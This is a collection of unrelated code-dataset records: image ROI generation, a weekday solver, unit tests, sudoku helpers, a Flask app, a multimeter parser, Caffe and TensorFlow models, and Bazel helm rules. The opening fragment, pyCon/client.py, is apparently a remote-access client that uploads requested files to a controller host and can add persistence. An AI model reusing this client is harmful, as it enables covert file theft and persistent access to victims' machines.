command.split('*')\r\n if os.path.exists(path):\r\n field_storage = {}\r\n with open(path,'rb') as f:\r\n content= f.read()\r\n content_length = len(content)\r\n self.post(f'File located: {content_length / 1000}kbs')\r\n files = {'file': content}\r\n f.close()\r\n self.post(files, self.HOST + '/store')\r\n else:\r\n self.post(f'[x] File Not Found {path}')\r\n except Exception as ex:\r\n self.post(f'[!] Exception GrabFile:{str(ex)}')\r\n pass\r\n\r\n # Search For FileExt example: \"search\" \"\" * \"\"\r\n elif 'search' in command:\r\n command = command[7:]\r\n path, ext = command.split(\"*\")\r\n lst = f'{p.blue}[i] Search Results for {command}:{p.green}'\r\n for dirpath, dirname, files in os.walk(path):\r\n for file in files:\r\n lst += f'\\n>> {os.path.join(dirpath, file)}'\r\n self.post(lst)\r\n\r\n # Add Persistence\r\n elif command == 'persist':\r\n self.persistence =self.persist()\r\n\r\nif __name__ == '__main__':\r\n p.ok(\"Client has started\")\r\n client = PyConClient()\r\n while True:\r\n try:\r\n if client.connect() == 1:\r\n break\r\n except:\r\n sleep_for = random.randrange(1, 10)\r\n time.sleep(sleep_for)\r\n pass\r\n\r\n\r\n\r\n\r\n","sub_path":"pyCon/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"636220073","text":"from __future__ import print_function\nfrom builtins import input\nimport os, sys, importlib\nimport shutil, time\n# from param import *\nlocals().update(importlib.import_module(\"param\").__dict__)\n\n\n####################################\n# Parameters\n####################################\nboSaveDebugImg = True\nsubDirs = ['positive', 'testImages', 'negative']\nimage_sets = [\"train\", \"test\"]\n\n# no need to change these parameters\nboAddSelectiveSearchROIs = True\nboAddRoisOnGrid = True\n\n\n####################################\n# Main\n####################################\n# generate ROIs using selective search and grid (for pascal we use the precomputed ROIs from Ross)\nif not datasetName.startswith(\"pascalVoc\"):\n # init\n makeDirectory(roiDir)\n roi_minDim = roi_minDimRel * roi_maxImgDim\n roi_maxDim = roi_maxDimRel * roi_maxImgDim\n roi_minNrPixels = roi_minNrPixelsRel * roi_maxImgDim*roi_maxImgDim\n roi_maxNrPixels = roi_maxNrPixelsRel * roi_maxImgDim*roi_maxImgDim\n\n for subdir in subDirs:\n makeDirectory(roiDir + subdir)\n imgFilenames = getFilesInDirectory(os.path.join(imgDir, subdir), \".jpg\")\n\n # loop over all images\n for imgIndex,imgFilename in enumerate(imgFilenames):\n roiPath = \"{}/{}/{}.roi.txt\".format(roiDir, subdir, imgFilename[:-4])\n\n # load image\n print (imgIndex, len(imgFilenames), subdir, imgFilename)\n tstart = datetime.datetime.now()\n imgPath = os.path.join(imgDir, subdir, imgFilename)\n imgOrig = imread(imgPath)\n if imWidth(imgPath) > imHeight(imgPath):\n print (imWidth(imgPath) , imHeight(imgPath))\n\n # get rois\n if boAddSelectiveSearchROIs:\n print (\"Calling selective search..\")\n rects, img, scale = getSelectiveSearchRois(imgOrig, ss_scale, ss_sigma, ss_minSize, roi_maxImgDim) #interpolation=cv2.INTER_AREA\n print (\" Number of rois detected using selective search: \" + str(len(rects)))\n else:\n rects = []\n img, scale = imresizeMaxDim(imgOrig, roi_maxImgDim, boUpscale=True, interpolation=cv2.INTER_AREA)\n imgWidth, imgHeight = imArrayWidthHeight(img)\n\n # add grid rois\n if boAddRoisOnGrid:\n rectsGrid = getGridRois(imgWidth, imgHeight, grid_nrScales, grid_aspectRatios)\n print (\" Number of rois on grid added: \" + str(len(rectsGrid)))\n rects += rectsGrid\n\n # run filter\n print (\" Number of rectangles before filtering = \" + str(len(rects)))\n rois = filterRois(rects, imgWidth, imgHeight, roi_minNrPixels, roi_maxNrPixels, roi_minDim, roi_maxDim, roi_maxAspectRatio)\n if len(rois) == 0: #make sure at least one roi returned per image\n rois = [[5, 5, imgWidth-5, imgHeight-5]]\n print (\" Number of rectangles after filtering = \" + str(len(rois)))\n\n # scale up to original size and save to disk\n # note: each rectangle is in original image format with [x,y,x2,y2]\n rois = np.int32(np.array(rois) / scale)\n assert (np.min(rois) >= 0)\n assert (np.max(rois[:, [0,2]]) < imArrayWidth(imgOrig))\n assert (np.max(rois[:, [1,3]]) < imArrayHeight(imgOrig))\n np.savetxt(roiPath, rois, fmt='%d')\n print (\" Time [ms]: \" + str((datetime.datetime.now() - tstart).total_seconds() * 1000))\n\n# clear imdb cache and other files\nif os.path.exists(cntkFilesDir):\n assert(cntkFilesDir.endswith(\"cntkFiles/\"))\n userInput = input('--> INPUT: Press \"y\" to delete directory ' + cntkFilesDir + \": \")\n if userInput.lower() not in ['y', 'yes']:\n print (\"User input is %s: exiting now.\" % userInput)\n exit(-1)\n shutil.rmtree(cntkFilesDir)\n time.sleep(0.1) # avoid access problems\n\n# create cntk representation for each image\nfor image_set in image_sets:\n imdb = imdbs[image_set]\n print (\"Number of images in set {} = {}\".format(image_set, imdb.num_images))\n makeDirectory(cntkFilesDir)\n\n # open files for writing\n cntkImgsPath, cntkRoiCoordsPath, cntkRoiLabelsPath, nrRoisPath = getCntkInputPaths(cntkFilesDir, image_set)\n with open(nrRoisPath, 'w') as nrRoisFile, \\\n open(cntkImgsPath, 'w') as cntkImgsFile, \\\n open(cntkRoiCoordsPath, 'w') as cntkRoiCoordsFile, \\\n open(cntkRoiLabelsPath, 'w') as cntkRoiLabelsFile:\n\n # for each image, transform rois etc to cntk format\n for imgIndex in range(0, imdb.num_images):\n if imgIndex % 50 == 0:\n print (\"Processing image set '{}', image {} of {}\".format(image_set, imgIndex, imdb.num_images))\n currBoxes = imdb.roidb[imgIndex]['boxes']\n currGtOverlaps = imdb.roidb[imgIndex]['gt_overlaps']\n imgPath = imdb.image_path_at(imgIndex)\n imgWidth, imgHeight = imWidthHeight(imgPath)\n\n # all rois need to be scaled + padded to cntk input image size\n targetw, targeth, w_offset, h_offset, scale = roiTransformPadScaleParams(imgWidth, imgHeight,\n cntk_padWidth, cntk_padHeight)\n boxesStr = \"\"\n labelsStr = \"\"\n nrBoxes = len(currBoxes)\n for boxIndex, box in enumerate(currBoxes):\n print('box index ', boxIndex)\n rect = roiTransformPadScale(box, w_offset, h_offset, scale)\n boxesStr += getCntkRoiCoordsLine(rect, cntk_padWidth, cntk_padHeight)\n labelsStr += getCntkRoiLabelsLine(currGtOverlaps[boxIndex, :].toarray()[0],\n train_posOverlapThres,\n nrClasses)\n\n # if less than e.g. 2000 rois per image, then fill in the rest using 'zero-padding'.\n boxesStr, labelsStr = cntkPadInputs(nrBoxes, cntk_nrRois, nrClasses, boxesStr, labelsStr)\n\n # update cntk data\n nrRoisFile.write(\"{}\\n\".format(nrBoxes))\n cntkImgsFile.write(\"{}\\t{}\\t0\\n\".format(imgIndex, imgPath))\n cntkRoiCoordsFile.write(\"{} |rois{}\\n\".format(imgIndex, boxesStr))\n cntkRoiLabelsFile.write(\"{} |roiLabels{}\\n\".format(imgIndex, labelsStr))\n\nprint (\"DONE.\")\n","sub_path":"2_generate_input_RoI.py","file_name":"2_generate_input_RoI.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"579641051","text":"# Returns days of the week\n\nimport calendar\n\nclass Solution:\n def dayOfTheWeek(self, day: int, month: int, year: int) -> str:\n dayNumber = calendar.weekday(year, month, day)\n days = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\",\n \"Friday\", \"Saturday\", \"Sunday\"]\n return (days[dayNumber])\n\nprint(Solution().dayOfTheWeek(3, 2, 2009))","sub_path":"Problem Set Two/dateprob.py","file_name":"dateprob.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"581064815","text":"import unittest\nimport sketch.compress_dyadic as dyadic\nimport numpy as np\nimport pandas as pd\nfrom collections import defaultdict\n\n\nclass TestDyadicFrequency(unittest.TestCase):\n def test_tiny(self):\n new_size = 2\n dy = dyadic.DyadicFrequencyCompressor(size=new_size, max_height=1)\n counts = defaultdict(int)\n counts.update({\n 1: 10,\n 2: 5,\n 3: 3,\n 4: 2\n })\n cum_counts = []\n for i in range(4):\n new_counts = dy.compress(counts)\n cum_counts.append(new_counts)\n self.assertEqual(2, len(cum_counts[1]))\n self.assertEqual(4, len(cum_counts[1][1]))\n self.assertEqual(4, cum_counts[1][1][4])\n\n def test_quantile(self):\n new_size = 2\n dy = dyadic.DyadicQuantileCompressor(size=new_size, max_height=1)\n xs = np.linspace(0, 1, 101)\n\n cum_counts = []\n for i in range(4):\n new_counts = dy.compress(xs)\n cum_counts.append(new_counts)\n print(new_counts)\n\n def test_small(self):\n new_size = 2\n dy = dyadic.DyadicFrequencyCompressor(size=new_size, max_height=2)\n for i in range(8):\n x_stream = np.random.zipf(1.1, size=1000)\n counts = dict(pd.Series(x_stream).value_counts())\n new_counts = dy.compress(counts)\n","sub_path":"python/tests/test_dyadic.py","file_name":"test_dyadic.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"415530369","text":"def get_sub_box(sud:list,size:int,box_indexs:tuple)->list:\n init_row = box_indexs[0]*size\n init_col = box_indexs[1]*size\n return [ [ sud[row][col] for col in range(init_col,init_col+size) ] for row in range( init_row, init_row+size ) ]\n\ndef print_sudo(sud:list,size):\n temp_str = ''\n temp_btw = ''\n print()\n for row in range( size**2 ):\n for col in range( size**2 ):\n if( sud[row][col]==0 ):\n temp_str+='_ '\n else:\n temp_str+=str(sud[row][col])+' '\n if(col!= 0 and (col+1)%size==0):\n temp_str+=\"| \"\n print(temp_str)\n if(row!=0 and (row+1)%size==0):\n for item in range( len(temp_str) ):\n temp_btw+='='\n print(temp_btw)\n temp_str=''\n temp_btw=''\n\n\nclass get_remain:\n def __init__(self,_size):\n self.size = _size\n\n def count_incidences(self,sud:list,num:int):\n counter = 0\n for row in range( len(sud) ):\n for col in range( len(sud[0]) ):\n if(sud[row][col]==num):\n counter+=1\n return counter\n\n def get_remain_row(self,sud:list,row_index:int):\n remain_positions = []\n total_numbers = { item for item in range(1,self.size**2+1) }\n present_numbers = []\n for col in range(self.size**2):\n if(sud[row_index][col]==0):\n remain_positions.append( col )\n else:\n present_numbers.append( sud[row_index][col] )\n temp_remain = list( total_numbers - set( present_numbers ) )\n temp_remain.sort()\n return remain_positions, temp_remain\n \n def get_remain_col(self,sud:list,col_index:int):\n remain_positions = []\n total_numbers = { item for item in range(1,self.size**2+1) }\n present_numbers = []\n for row in range(self.size**2):\n if(sud[row][col_index]==0):\n remain_positions.append( row )\n else:\n present_numbers.append( sud[row][col_index] )\n temp_remain = list( total_numbers - set( present_numbers ) )\n temp_remain.sort()\n return remain_positions, temp_remain\n \n def get_remain_box(self,sud:list,box_indexs:tuple):\n remain_positions = []\n total_numbers = { item for item in range(1,self.size**2+1) }\n present_numbers = []\n sub_box = get_sub_box( sud, self.size, box_indexs )\n for row in range(self.size):\n for col in range(self.size):\n if(sub_box[row][col]==0):\n remain_positions.append( (row,col) )\n else:\n present_numbers.append( sud[row][col] )\n temp_remain = list( total_numbers - set( present_numbers ) )\n temp_remain.sort()\n return remain_positions, temp_remain\n\n def get_remain_box_all(self,sud:list):\n remain_positions = []\n for row in range(self.size**2):\n for col in range(self.size**2):\n if(sud[row][col]==0):\n remain_positions.append( (row,col) )\n return remain_positions\n\n\n\nclass sud_check:\n def __init__(self,_size):\n self.size=_size\n\n def check_row(self,sud:list,num:int,row_index:int)->bool:\n return (num in sud[row_index])\n\n def check_col(self,sud:list,num:int,col_index:int)->bool:\n sud_cols=[ [ sud[row][col] for row in range(len(sud)) ] for col in range(len(sud[0])) ]\n return (num in sud_cols[col_index])\n\n def check_box(self,sud:list,num:int,box_indexs:tuple)->bool:\n flag = False\n sub_sud = get_sub_box(sud,self.size,box_indexs)\n for row in range(self.size):\n for col in range(self.size):\n # row_index = box_indexs[0]*self.size + row\n # col_index = box_indexs[1]*self.size + col\n # print(sub_sud[row][col])\n if num == sub_sud[row][col]:\n flag=True\n break\n return flag","sub_path":"python_1/exercises/sudoku/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":4025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"242101015","text":"import os\nimport sys\nfile = os.path.basename(__file__)\nsys.stdin = open(file.split('.')[0]+\"-testcases/input/input00.txt\", \"r\")\n\n# Enter your code here. Read input from STDIN. Print output to STDOUT\nimport statistics as st\n\ndef Pearson(X, Y):\n m_x = st.mean(X)\n std_x = st.pstdev(X) #the stdev method divides sum of squares by n-1\n m_y = st.mean(Y)\n std_y = st.pstdev(Y)\n n = len(X)\n ret = 0\n\n for i in range(n):\n ret += (X[i] - m_x)*(Y[i]-m_y)\n\n return (ret/(std_x*std_y*n))\n\n\nX = list(map(float, input().rstrip().split()))\nY = list(map(float, input().rstrip().split()))\n\nprint(round(Pearson(X,Y),3))\n","sub_path":"statistics/correlation-and-regression-lines-6.py","file_name":"correlation-and-regression-lines-6.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"141300203","text":"#!/usr/bin/env python\n#coding=utf-8\n\nfrom MovieSearch import movieSearch\nfrom flask import Flask, render_template, redirect, url_for\nfrom flask.ext.bootstrap import Bootstrap\nfrom flask.ext.script import Manager\nfrom flask.ext.wtf import Form\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import Required, Length\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\napp = Flask(__name__)\nmanager = Manager(app)\nbootstrap = Bootstrap(app)\napp.config['SECRET_KEY'] = 'never can guess it'\n\nclass SearchForm(Form):\n movieName = StringField('电影名:', validators=[Required(), Length(min=2, max=20)])\n submit = SubmitField('搜索') \n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/movie', methods=['GET','POST'])\ndef movie_index():\n form = SearchForm()\n if form.validate_on_submit():\n keyword = form.movieName.data\n searchResult = movieSearch(keyword)\n form.movieName.data = ''\n return render_template('movie_result.html', searchResult = searchResult, )\n return render_template('movie_search.html', form=form)\n \nif __name__ == '__main__':\n manager.run()\n","sub_path":"movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"211636788","text":"scale = {\r\n '00': '', '40': 'm', '20': 'k', '10': 'M', '80': '\\u03BC',\r\n '04': 'DIODE', '02': 'DUTY Hz'}\r\n\r\nall_units = {\r\n '20': 'Ohm', # odpor\r\n '40': 'A', # prud\r\n '80': 'V', # napatie\r\n '01': 'F', # teplota F\r\n '02': 'C', # teplota C\r\n '08': 'Hz', # frekvencia\r\n '10': 'hFE' # tranzistor (current gain)\r\n}\r\n\r\n\r\nclass Parser:\r\n # https://github.com/drahoslavzan/ProsKit-MT1820-Probe/blob/master/proskit.cc\r\n\r\n def __init__(self):\r\n self.value = None\r\n self.units = None\r\n\r\n def parse(self, bytestream):\r\n \"\"\"\r\n podla toho ako to bude posielit ak takto:\r\n s = ser.read(14) a posleme \"s\" treba pridat tento riadok\r\n #bytestream = str(bytestream)\r\n \"\"\"\r\n self.value = \\\r\n int(bytestream[1:2]) * 1000 + \\\r\n int(bytestream[2:3]) * 100 + \\\r\n int(bytestream[3:4]) * 10 + \\\r\n int(bytestream[4:5])\r\n dic = {0: 1, 1: 1000, 2: 100, 4: 10}\r\n if str(bytestream[0]) == '-':\r\n self.value *= -1\r\n self.value /= dic.get(int(bytestream[6:7]))\r\n self.units = scale.get((bytestream[9:10].hex()), '')\r\n if self.units in ['m', 'k', 'M', '\\u03BC']:\r\n # m-milli, k-kilo, M-mega, \\u03BC-micro\r\n dic2 = {'m': 0.001, 'k': 1000, 'M': 1000000, '\\u03BC': 0.000001}\r\n self.value *= dic2.get(self.units)\r\n self.value = f'{self.value:.5f}'.rstrip('0').rstrip('.') # format without \"e\", max. 5 decimal places\r\n self.units = \"\"\r\n self.units += all_units.get((bytestream[10:11].hex()), '')\r\n # print(\"parser\", self.value, self.units)\r\n return self.value, self.units\r\n","sub_path":"multimeter/data_parser.py","file_name":"data_parser.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"576013637","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 29 15:33:08 2016\n\n@author: denitome\n\"\"\"\n\nimport caffe\nimport numpy as np\nimport yaml\n\nclass MergeHeatMaps(caffe.Layer):\n \n def setup(self, bottom, top):\n \"\"\"Set up the layer used for defining constraints to the expected inputs\n and for reading the parameters from the prototxt file. \n \"\"\"\n # extract data from prototxt\n self.init = yaml.load(self.param_str)[\"init\"] # either zero or avg\n try:\n self.lr = float(yaml.load(self.param_str)[\"learning_rate\"])\n except:\n self.lr = 1 \n \n # get dimensionality\n self.batch_size = bottom[0].data.shape[0]\n self.num_channels = bottom[0].data.shape[1]\n self.input_size = bottom[0].data.shape[-1]\n \n # define weights\n self.blobs.add_blob(2)\n if (self.init == 'zero'):\n self.blobs[0].data[...] = [0, 1]\n else:\n self.blobs[0].data[...] = [0.5, 0.5]\n \n # check input dimension\n if (len(bottom) != 2):\n raise Exception('This layer expects to receive as input the heatmaps generated at the previous layer plus metadata')\n if (len(top) != 1):\n raise Exception('This layer produces only one output blob')\n if (bottom[0].data.shape != bottom[1].data.shape):\n raise Exception('Input data must have the same dimensionality')\n \n def reshape(self, bottom, top):\n \"\"\"Reshape output according to the input. We want to keep the same dimensionality\"\"\"\n # Adjust the shapes of top blobs and internal buffers to accommodate the shapes of the bottom blobs.\n # Bottom has the same shape of input\n top[0].reshape(*bottom[0].data.shape)\n self.diff = np.zeros_like(bottom[0].data, dtype=np.float32)\n \n def normaliseHeatMap(self, heatMaps_old, heatMaps_new, weights):\n heatMaps = (weights[0]*heatMaps_new + weights[1]*heatMaps_old)/weights.sum()\n max_val = heatMaps.max()\n max_before = heatMaps_old.max()\n return (max_before/max_val)*heatMaps\n \n def forward(self, bottom, top):\n \"\"\"Forward data in the architecture to the following layer.\"\"\"\n \n# if (self.blobs[0].data[...] < 0):\n# self.blobs[0].data[...] = 0\n# if (self.blobs[0].data[...] > 1):\n# self.blobs[0].data[...] = 1\n \n input_heatMaps = bottom[0].data[...]\n input_heatMaps_mf = bottom[1].data[...]\n weights = self.blobs[0].data[...]\n heatMaps = np.zeros((self.batch_size, self.num_channels, self.input_size, self.input_size),\n dtype = np.float32)\n \n # consider each image in the batch individually\n for b in range(self.batch_size):\n for c in range(self.num_channels):\n heatMaps[b,c] = self.normaliseHeatMap(input_heatMaps[b,c], \n input_heatMaps_mf[b,c], weights)\n top[0].data[...] = heatMaps\n# print 'merging weight: %r' % self.blobs[0].data[...]\n \n def backward(self, top, propagate_down, bottom):\n \"\"\"Backward data in the learning phase. This layer does not propagate back information.\"\"\"\n input_heatMaps = bottom[0].data[...]\n input_heatMaps_mf = bottom[1].data[...]\n res1 = np.zeros((self.batch_size, self.num_channels, self.input_size, self.input_size),\n dtype = np.float32)\n res2 = np.zeros((self.batch_size, self.num_channels, self.input_size, self.input_size),\n dtype = np.float32)\n for b in range(self.batch_size):\n for c in range(self.num_channels):\n res1[b,c] = input_heatMaps[b,c]*top[0].diff[b,c]\n res2[b,c] = input_heatMaps_mf[b,c]*top[0].diff[b,c]\n \n avg1 = self.lr*res1.sum()\n avg2 = self.lr*res2.sum()\n self.blobs[0].diff[...] = [avg1, avg2] \n # raise Exception('Diff received is %r then it becomes %r' % (np.average(top[0].diff[...]) ,avg1))\n # bottom[0].diff[...] = np.zeros(bottom[0].data.shape)\n \n ","sub_path":"python/processheatmaps.py","file_name":"processheatmaps.py","file_ext":"py","file_size_in_byte":4219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"329916525","text":"#!/usr/bin/env python\n\n\"\"\"\nAuthor: Dan Salo\nInitial Commit: 12/1/2016\n\nPurpose: Implement Convolutional Multiple Instance Learning for distributed learning over MNIST dataset\n\"\"\"\n\nimport sys\nsys.path.append('../')\n\nfrom TensorBase.tensorbase.base import Model\nfrom TensorBase.tensorbase.base import Layers\n\nimport tensorflow as tf\nimport numpy as np\nimport argparse\nfrom tensorflow.examples.tutorials.mnist import input_data\nfrom tqdm import tqdm\n\n\nclass ConvMil(Model):\n def __init__(self, flags_input):\n \"\"\" Initialize from Model class in TensorBase \"\"\"\n super().__init__(flags_input)\n self.valid_results = list()\n self.test_results = list()\n self.checkpoint_rate = 5 # save after this many epochs\n self.valid_rate = 5 # validate after this many epochs\n\n def _data(self):\n \"\"\" Define all data-related parameters. Called by TensorBase. \"\"\"\n self.mnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n self.num_train_images = self.mnist.train.num_examples\n self.num_valid_images = self.mnist.validation.num_examples\n self.num_test_images = self.mnist.test.num_examples\n self.x = tf.placeholder(tf.float32, [None, 28, 28, 1], name='x')\n self.y = tf.placeholder(tf.int32, shape=[None, self.flags['NUM_CLASSES']], name='y')\n\n def _summaries(self):\n \"\"\" Write summaries out to TensorBoard. Called by TensorBase. \"\"\"\n tf.summary.scalar(\"Total_Loss\", self.cost)\n tf.summary.scalar(\"XEntropy_Loss_Pi\", self.xentropy_p)\n tf.summary.scalar(\"XEntropy Loss_yi\", self.xentropy_y)\n tf.summary.scalar(\"Weight_Decay_Loss\", self.weight)\n\n def _network(self):\n \"\"\" Define neural network. Uses Layers class of TensorBase. Called by TensorBase. \"\"\"\n with tf.variable_scope(\"model\"):\n net = Layers(self.x)\n net.conv2d(5, 64)\n net.maxpool()\n net.conv2d(3, 64)\n net.conv2d(3, 64)\n net.maxpool()\n net.conv2d(3, 128)\n net.conv2d(3, 128)\n net.maxpool()\n net.conv2d(1, self.flags['NUM_CLASSES'], activation_fn=tf.nn.sigmoid)\n net.noisy_and(self.flags['NUM_CLASSES'])\n self.P_i = net.get_output()\n net.fc(self.flags['NUM_CLASSES'])\n self.y_hat = net.get_output()\n self.logits = tf.nn.softmax(self.y_hat)\n\n def _optimizer(self):\n \"\"\" Set up loss functions and choose optimizer. Called by TensorBase. \"\"\"\n const = 1/self.flags['BATCH_SIZE']\n self.xentropy_p = const * tf.reduce_sum(\n tf.nn.softmax_cross_entropy_with_logits(labels=self.y, logits=self.P_i, name='xentropy_p'))\n self.xentropy_y = const * tf.reduce_sum(\n tf.nn.softmax_cross_entropy_with_logits(labels=self.y, logits=self.y_hat, name='xentropy_y'))\n self.weight = self.flags['WEIGHT_DECAY'] * tf.add_n(tf.get_collection('weight_losses'))\n self.cost = tf.reduce_sum(self.xentropy_p + self.xentropy_y + self.weight)\n self.optimizer = tf.train.AdamOptimizer(learning_rate=self.flags['LEARNING_RATE']).minimize(self.cost)\n\n def train(self):\n \"\"\" Run training function for num_epochs. Save model upon completion. \"\"\"\n print('Training for %d epochs' % self.flags['NUM_EPOCHS'])\n\n for self.epoch in range(1, self.flags['NUM_EPOCHS'] + 1):\n for _ in tqdm(range(self.num_train_images)):\n\n # Get minibatches of data\n batch_x, batch_y = self.mnist.train.next_batch(self.flags['BATCH_SIZE'])\n batch_x = self.reshape_batch(batch_x)\n\n # Run a training iteration\n\n summary, loss, _ = self.sess.run([self.merged, self.cost, self.optimizer],\n feed_dict={self.x: batch_x, self.y: batch_y})\n self._record_training_step(summary)\n if self.step % (self.flags['display_step']) == 0:\n # Record training metrics every display_step interval\n self._record_train_metrics(loss)\n\n ## Epoch finished\n # Save model\n if self.epoch % self.checkpoint_rate == 0:\n self._save_model(section=self.epoch)\n # Perform validation\n if self.epoch % self.valid_rate == 0:\n self.evaluate('valid')\n\n def evaluate(self, dataset):\n \"\"\" Evaluate network on the valid/test set. \"\"\"\n\n # Initialize to correct dataset\n print('Evaluating images in %s set' % dataset)\n if dataset == 'valid':\n batch_x, batch_y = self.mnist.validation.next_batch(self.flags['BATCH_SIZE'])\n batch_x = self.reshape_batch(batch_x)\n num_images = self.num_valid_images\n results = self.valid_results\n else:\n batch_x, batch_y = self.mnist.test.next_batch(self.flags['BATCH_SIZE'])\n batch_x = self.reshape_batch(batch_x)\n num_images = self.num_test_images\n results= self.test_results\n\n # Loop through all images in eval dataset\n for _ in tqdm(range(num_images)):\n logits = self.sess.run([self.logits], feed_dict={self.x: batch_x})\n predictions = np.reshape(logits, [-1, self.flags['NUM_CLASSES']])\n correct_prediction = np.equal(np.argmax(self.valid_batch_y, 1), np.argmax(predictions, 1))\n results = np.concatenate((results, correct_prediction))\n\n # Calculate average accuracy and record in text file\n self.record_eval_metrics(dataset)\n\n #########################\n ## Helper Functions ##\n #########################\n\n def reshape_batch(self, batch):\n \"\"\" Reshape vector into image. Do not need if data that is loaded in is already in image-shape\"\"\"\n return np.reshape(batch, [self.flags['BATCH_SIZE'], 28, 28, 1])\n\n def _record_train_metrics(self, loss):\n \"\"\" Records the metrics at every display_step iteration \"\"\"\n print(\"Batch Number: \" + str(self.step) + \", Total Loss= \" + \"{:.6f}\".format(loss))\n\n def _record_eval_metrics(self, dataset):\n \"\"\" Record the accuracy on the eval dataset \"\"\"\n if dataset == 'valid':\n accuracy = np.mean(self.valid_results)\n else:\n accuracy = np.mean(self.test_results)\n print(\"Accuracy on %s Set: %f\" % (dataset, float(accuracy)))\n file = open(self.flags['restore_directory'] + dataset + 'Accuracy.txt', 'w')\n file.write('%s set accuracy:' % dataset)\n file.write(str(accuracy))\n file.close()\n\n\ndef main():\n\n # Parse Arguments\n parser = argparse.ArgumentParser(description='Faster R-CNN Networks Arguments')\n parser.add_argument('-n', '--RUN_NUM', default=0) # Saves all under /save_directory/model_directory/Model[n]\n parser.add_argument('-e', '--NUM_EPOCHS', default=1) # Number of epochs for which to train the model\n parser.add_argument('-r', '--RESTORE_META', default=0) # Binary to restore from a model. 0 = No restore.\n parser.add_argument('-m', '--MODEL_RESTORE', default=1) # Restores from /save_directory/model_directory/Model[n]\n parser.add_argument('-f', '--FILE_EPOCH', default=1) # Restore filename: 'part_[f].ckpt.meta'\n parser.add_argument('-t', '--TRAIN', default=1) # Binary to train model. 0 = No train.\n parser.add_argument('-v', '--EVAL', default=1) # Binary to evaluate model. 0 = No eval.\n parser.add_argument('-l', '--LEARNING_RATE', default=1e-3, type=float) # learning Rate\n parser.add_argument('-g', '--GPU', default=0) # specify which GPU to use\n parser.add_argument('-s', '--SEED', default=123) # specify the seed\n parser.add_argument('-d', '--MODEL_DIRECTORY', default='summaries/', type=str) # To save all models\n parser.add_argument('-a', '--SAVE_DIRECTORY', default='conv_mil/', type=str) # To save individual run\n parser.add_argument('-i', '--DISPLAY_STEP', default=500, type=int) # how often to display metrics\n parser.add_argument('-b', '--BATCH_SIZE', default=128, type=int) # size of minibatch\n parser.add_argument('-w', '--WEIGHT_DECAY', default=1e-7, type=float) # decay on all Weight variables\n parser.add_argument('-c', '--NUM_CLASSES', default=10, type=int) # number of classes. proly hard code.\n flags = vars(parser.parse_args())\n\n # Run model. Train and/or Eval.\n model = ConvMil(flags)\n if int(flags['TRAIN']) == 1:\n model.train()\n if int(flags['EVAL']) == 1:\n model.evaluate('test')\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Conv_MIL_Mnist.py","file_name":"Conv_MIL_Mnist.py","file_ext":"py","file_size_in_byte":8582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"154063773","text":"\"\"\"\n\"\"\"\n\ndef _helm(\n command_ctx,\n command,\n args = [],\n options = [],\n inputs = []):\n exec_file = command_ctx.actions.declare_file(command_ctx.label.name + \"_helm_\" + command)\n\n # Generates the exec bash file with the provided substitutions\n command_ctx.actions.write(\n output = exec_file,\n is_executable = True,\n content = \"%s %s %s %s\" % (\n command_ctx.toolchains[\"@ltd_fox_hound_rules_helm//toolchains/helm:toolchain_type\"].helminfo.target_tool_path,\n command,\n \" \".join(args),\n \" \".join(options),\n ),\n )\n\n runfiles = command_ctx.runfiles(\n files = command_ctx.toolchains[\"@ltd_fox_hound_rules_helm//toolchains/helm:toolchain_type\"].helminfo.tool_files + inputs,\n )\n\n return [DefaultInfo(\n executable = exec_file,\n runfiles = runfiles,\n )]\n\ndef _helm_version_impl(ctx):\n return _helm(ctx, command = \"version\")\n\nhelm_version = rule(\n implementation = _helm_version_impl,\n attrs = {},\n toolchains = [\"@ltd_fox_hound_rules_helm//toolchains/helm:toolchain_type\"],\n executable = True,\n)\n\ndef _helm_upgrade_impl(ctx):\n args = [\n ctx.attr.name if ctx.attr.release_name == \"\" else ctx.attr.release_name,\n ctx.file.chart_tar.path,\n ]\n inputs = [ctx.file.chart_tar]\n options = []\n\n if len(ctx.attr.namespace) > 0:\n options.append(\"--namespace %s\" % ctx.attr.namespace)\n for variable, value in ctx.attr.values.items():\n options.append(\"--set %s=%s\" % (variable, value))\n if ctx.file.values_yaml_file != None:\n inputs.append(ctx.file.values_yaml_file)\n options.append(\"--values %s\" % ctx.file.values_yaml_file.path)\n\n return _helm(\n ctx,\n command = \"upgrade\",\n args = args,\n options = options + ctx.attr.options,\n inputs = inputs,\n )\n\nhelm_upgrade = rule(\n implementation = _helm_upgrade_impl,\n attrs = {\n \"chart_tar\": attr.label(allow_single_file = True, mandatory = True),\n \"release_name\": attr.string(),\n \"namespace\": attr.string(),\n \"values\": attr.string_dict(),\n \"values_yaml_file\": attr.label(allow_single_file = True),\n \"options\": attr.string_list(default = []),\n },\n toolchains = [\"@ltd_fox_hound_rules_helm//toolchains/helm:toolchain_type\"],\n executable = True,\n)\n\ndef 